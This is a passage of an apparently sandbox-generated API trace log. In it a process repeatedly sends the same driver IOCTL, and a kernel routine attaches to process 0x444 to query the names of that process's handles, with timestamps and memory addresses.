RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0093.838] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.838] PsAcquireProcessExitSynchronization () returned 0x0 [0093.838] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.839] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0093.839] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.839] PsReleaseProcessExitSynchronization () returned 0x2 [0093.839] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.839] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.839] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0093.839] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.839] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.839] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0093.839] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.839] PsAcquireProcessExitSynchronization () returned 0x0 [0093.839] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.839] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0093.839] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.839] PsReleaseProcessExitSynchronization () returned 0x2 [0093.839] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.839] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.839] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0093.839] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.839] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.839] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xfa, lpOverlapped=0x0) returned 1 [0093.839] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.839] PsAcquireProcessExitSynchronization () returned 0x0 [0093.839] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.839] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0093.839] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.839] PsReleaseProcessExitSynchronization () returned 0x2 [0093.839] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.839] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.839] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0093.839] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.840] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.840] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.840] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0093.840] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.840] PsAcquireProcessExitSynchronization () returned 0x0 [0093.840] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.840] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0093.840] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.840] PsReleaseProcessExitSynchronization () returned 0x2 [0093.840] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.840] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.840] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0093.840] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.840] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.840] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.840] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0093.840] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.840] PsAcquireProcessExitSynchronization () returned 0x0 [0093.840] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.840] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0093.840] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.840] PsReleaseProcessExitSynchronization () returned 0x2 [0093.840] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.840] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.840] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x3 [0093.840] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.840] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.840] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.840] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0093.840] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.840] PsAcquireProcessExitSynchronization () returned 0x0 [0093.840] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.840] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0093.840] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.841] PsReleaseProcessExitSynchronization () returned 0x2 [0093.841] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.841] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.841] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0093.841] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.841] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.841] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.841] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0093.841] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.841] PsAcquireProcessExitSynchronization () returned 0x0 [0093.841] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.841] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0093.841] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.841] PsReleaseProcessExitSynchronization () returned 0x2 [0093.841] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.841] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.841] ObfDereferenceObject (Object=0xfffffa800206b070) returned 0x11 [0093.841] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.841] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.841] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.841] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.841] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.841] PsAcquireProcessExitSynchronization () returned 0x0 [0093.841] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.841] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0093.841] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.841] PsReleaseProcessExitSynchronization () returned 0x2 [0093.841] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.841] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.841] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0093.841] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.841] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.842] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.842] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.842] PsAcquireProcessExitSynchronization () returned 0x0 [0093.842] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.842] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0093.842] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.842] PsReleaseProcessExitSynchronization () returned 0x2 [0093.842] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.842] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.842] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0093.842] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.842] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.842] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0093.842] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.842] PsAcquireProcessExitSynchronization () returned 0x0 [0093.842] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.842] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0093.842] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.842] PsReleaseProcessExitSynchronization () returned 0x2 [0093.842] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.842] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.842] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0093.842] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.842] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.842] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0093.842] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.842] PsAcquireProcessExitSynchronization () returned 0x0 [0093.842] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.842] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0093.842] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.842] PsReleaseProcessExitSynchronization () returned 0x2 [0093.843] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.843] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.843] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0093.843] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.843] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.843] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0093.843] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.843] PsAcquireProcessExitSynchronization () returned 0x0 [0093.843] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.843] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0093.843] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.843] PsReleaseProcessExitSynchronization () returned 0x2 [0093.843] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.843] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.843] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0093.843] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.843] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.843] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0093.843] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.843] PsAcquireProcessExitSynchronization () returned 0x0 [0093.843] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.843] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0093.843] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.843] PsReleaseProcessExitSynchronization () returned 0x2 [0093.843] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.843] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.843] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0093.843] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.843] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.843] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0093.844] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.844] PsAcquireProcessExitSynchronization () returned 0x0 [0093.844] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.844] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0093.844] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.844] PsReleaseProcessExitSynchronization () returned 0x2 [0093.844] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.844] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.844] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0093.844] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.844] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.844] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.844] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.844] PsAcquireProcessExitSynchronization () returned 0x0 [0093.844] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.844] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0093.844] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.844] PsReleaseProcessExitSynchronization () returned 0x2 [0093.844] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.844] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.844] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0093.844] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.844] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.844] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0093.844] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.844] PsAcquireProcessExitSynchronization () returned 0x0 [0093.844] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.844] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0093.844] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.844] PsReleaseProcessExitSynchronization () returned 0x2 